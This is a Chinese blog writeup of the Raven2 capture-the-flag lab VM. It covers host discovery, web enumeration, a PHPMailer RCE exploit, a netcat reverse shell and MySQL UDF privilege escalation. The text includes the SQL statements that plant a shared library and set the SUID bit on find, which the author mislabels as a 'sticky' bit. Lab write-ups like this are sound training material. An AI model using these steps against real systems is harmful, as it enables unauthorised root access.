美文网首页
Raven2靶机:Hacking Writeup

Raven2靶机:Hacking Writeup

作者: N8_xEnn7nA1 | 来源:发表于2019-10-13 23:40 被阅读0次

    Raven2 是之前的 Raven 靶机系列的第2关。目标也是获取靶机上的4个flag。

    目录

    1. 主机发现,端口扫描
    2. 80 端口和 WordPress CMS 的发现
    3. 枚举目录,查找 vendor 目录
    4. 发现文件 PATH 并从中获得 flag1
    5. 发现文件 VERSION 并从中获取 PHPMailer 的版本
    6. 利用 PHP 5.2.6 版本的 RCE 漏洞
    7. 对 exploit 进行适当修改,以便成功利用
    8. 通过发送的 payload 来获取 netcat shell
    9. /var/www 中获取 flag2
    10. 在 wordpress 目录下查找 wp-config.php 文件,并从中读取数据库密码
    11. 使用 LinEnum.sh 脚本枚举 Linux 活动进程
    12. 使用 exploit-db 上名为 1518.c 的 UDF 动态库漏洞利用程序进行提权
    13. find 程序设置 sticky 位
    14. 获取 root 访问权限
    15. /root 下获得 flag4
    16. 通过遍历系统找到 flag3

    让我们开始 hacking 吧。

    首先使用 netdiscover 发现网络上的主机,本例中靶机的 IP 为:192.168.166.200

    • netdiscover -i eth0
    image.png

    使用 nmap 对靶机进行扫描,可以看到靶机打开了3个端口:2280111

    • nmap -A 192.168.166.200
    image.png

    于是我们把目光放到 80 端口,可以看到一个 Raven Security 的网站。

    image.png

    使用 dirb 工具对站点进行目录扫描,可发现存在 vendor 目录

    image.png

    访问 http://192.168.166.200/vendor/ 发现,该路径存在目录遍历:

    image.png

    查看 PATH 文件可得到 flag1

    image.png

    在该路径下,还有一个文件名值得注意,那就是 VERSION,查看该文件可看到一个版本号:5.2.6

    image.png

    再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,如 PHPMailerAutoload.php ,可确定 5.2.6PHPMailer 的版本号。
    于是使用 searchsploitexploit-db 中搜索 PHPMailer 相关的 exp

    image.png

    这里我们选择 40974.py

    • searchsploit -m 40974.py
    image.png

    修改 40974.py,如下:

    image.png

    然后运行 40974.py

    image.png

    然后用 nc 监听本机的 443 端口:

    image.png

    此时,访问 http://192.168.166.200/shell.php,本机会得到一个反向 shell

    image.png

    利用 Python 的 pty 模块获得一个 bash shell

    image.png

    /var/www/flag2.txt 中读取 flag2

    image.png

    LinEnum.sh 脚本想办法导入到靶机中,该脚本可以枚举各种 Linux 系统的各种信息。

    image.png

    执行 LinEnum.sh 脚本,可以看到靶机上运行着 MySQL 服务:

    image.png image.png

    另外,通过 ps -ef |grep mysql 查看进程得知,MySQL 服务使以 root 权限启动的,因此可以想到等会可以利用 MySQL UDF 进行提权。更多信息见:https://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.html

    image.png

    使用 searchsploit 从 exploit-db 中搜索相关的 exploit :

    • searchsploit mysql udf
    image.png

    这里选择用 1518.c, 下载它:

    image.png

    打开 1518.c 可看到里面有使用说明:

    image.png

    按照使用说明,使用 1518.c 进行编译,生成共享库 1518.so,并导入到靶机中。

    接着,为了进入 MySQL shell,我们进入 /var/www/html/wordpress 目录下找到 wp-config.php 文件,因为里面记录了数据库的用户名/密码:

    image.png

    于是,进入 MySQL shell:

    依次执行下面的语句:

    use mysql
    create table foo(line blob); #创建一个表,名为 foo。
    insert into foo values(load_file('/tmp/1518.so')); #将 1518.so 导入 foo 表。
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; #将1518.so转储到 /usr/lib/mysql/plugin 目录中。
    create function do_system returns integer soname '1518.so'; #最重要的一步,创建一个名为 do_system 的 UDF 函数,它将调用实现该函数的代码。
    select do_system('chmod u+s /usr/bin/find'); #调用do_system() 函数,执行chmod 命令,对 /usr/bin/find 设置 sticky 位

    image.png

    此时,回到 /tmp 目录,使用 find 命令来获取 root shell

    image.png

    查找并获取 flag4

    image.png

    查找并获取 flag3

    image.png image.png

    相关文章

      网友评论

          本文标题:Raven2靶机:Hacking Writeup

          本文链接:https://www.haomeiwen.com/subject/wlmhmctx.html